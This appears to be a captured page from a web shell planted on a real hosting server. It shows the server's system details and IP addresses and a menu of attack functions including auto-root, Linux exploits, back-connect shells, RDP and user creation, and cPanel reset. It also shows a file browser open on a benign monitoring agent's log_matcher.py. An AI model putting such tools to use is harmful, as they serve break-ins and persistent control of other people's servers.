Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.220.112.210
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
agent.py
96.8
KB
-rw-r--r--
agent_exceptions.py
110
B
-rw-r--r--
agent_util.py
8.58
KB
-rw-r--r--
aggregator.py
14.89
KB
-rw-r--r--
anomaly.py
2.19
KB
-rw-r--r--
blacklister.py
809
B
-rw-r--r--
container_discovery.py
3.3
KB
-rw-r--r--
display.py
2.06
KB
-rw-r--r--
forticlient_helper.py
2.59
KB
-rw-r--r--
inspector.py
15.7
KB
-rw-r--r--
iperf3.py
2.12
KB
-rw-r--r--
log_matcher.py
4.27
KB
-rw-r--r--
maintenance.py
3.61
KB
-rw-r--r--
pickle_database.py
1.28
KB
-rw-r--r--
plugin_driver.py
4.78
KB
-rw-r--r--
plugin_manager.py
11.04
KB
-rw-r--r--
process_manager.py
851
B
-rw-r--r--
progress_printer.py
837
B
-rw-r--r--
result_queue.py
1.99
KB
-rw-r--r--
schedule.py
3.19
KB
-rw-r--r--
threshold.py
1.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : log_matcher.py
import re from datetime import datetime, timedelta import logging import os class LogMatcher(object): """ Handles the matching of filter in the logs. """ def __init__(self, inode): """ @param file_creation: last known creation timestamp of the log file. """ self._inode = inode def match(self, lines, expression, results=None): """ Match the ampount of times expression is present in lines, return the results with the new entry appended to it. @param expression: String, @param lines: Iterable @param results: List of past results """ if not results: results = [] try: self._valid_inode() except ValueError: import sys _, error, _ = sys.exc_info() logging.info(error) return [] else: def find_match(line): match = re.search(expression, line) return match and line or False matched_lines = list(filter(find_match, lines)) results.append((datetime.now(), len(matched_lines))) return results def match_in_column(self, lines, expression, column, results=None): """ Return the number of lines that the where the column is equal to the expression by splitting the lines. @param lines: Array of lines to split and search. @param expression: Regular expression to match agains the specified column @param column: Column number to separate from the regular line. @param results: List of past results """ if not results: results = [] try: self._valid_inode() except ValueError: import sys _, error, _ = sys.exc_info() logging.info(error) return [] splitted_lines = [line.split() for line in lines] def find_match(line): data_point = line[column] match = re.search(expression, data_point) return match and line or False matched_lines = list(filter(find_match, splitted_lines)) results.append((datetime.now(), len(matched_lines))) return results def _valid_inode(self): """ Validate that we have an inode. If we dont that means we are running the check for the first time, and don't have enought information to calculate the matchs. """ if self._inode is None: raise ValueError('Inode is None. Returning None') def calculate_metric(self, results, timescale): """ Check the results and the timescale to determine if a metric should be given. The delta between now and the last results time must be greater than the timescale to properly calculate the metric. @param results: List of past results. @param timescale: Integer of the buffer size to take into consideration. @param last_results_time: Datetime """ total_sum = 0 valid_results = [] for timestamp, result in results: delta = datetime.now() - timestamp if delta < timedelta(minutes=timescale): total_sum += result valid_results.append((timestamp, result)) if not self._inode: return None, [] return total_sum, valid_results @staticmethod def get_file_lines(last_known_line_number, source, current_inode, stored_inode): """ Grab the lines from the last known line number to the end of the file. """ expected_lines = [] index = 0 total_lines = 0 opened_file = open(source, 'r') if stored_inode is None: for index, line in enumerate(opened_file): pass total_lines = index else: for index, line in enumerate(opened_file): if index > last_known_line_number: expected_lines.append(line) total_lines = index opened_file.close() return total_lines, expected_lines @staticmethod def get_file_inode(source): """ Grab the file created timstamp. """ return os.stat(source).st_ino
Close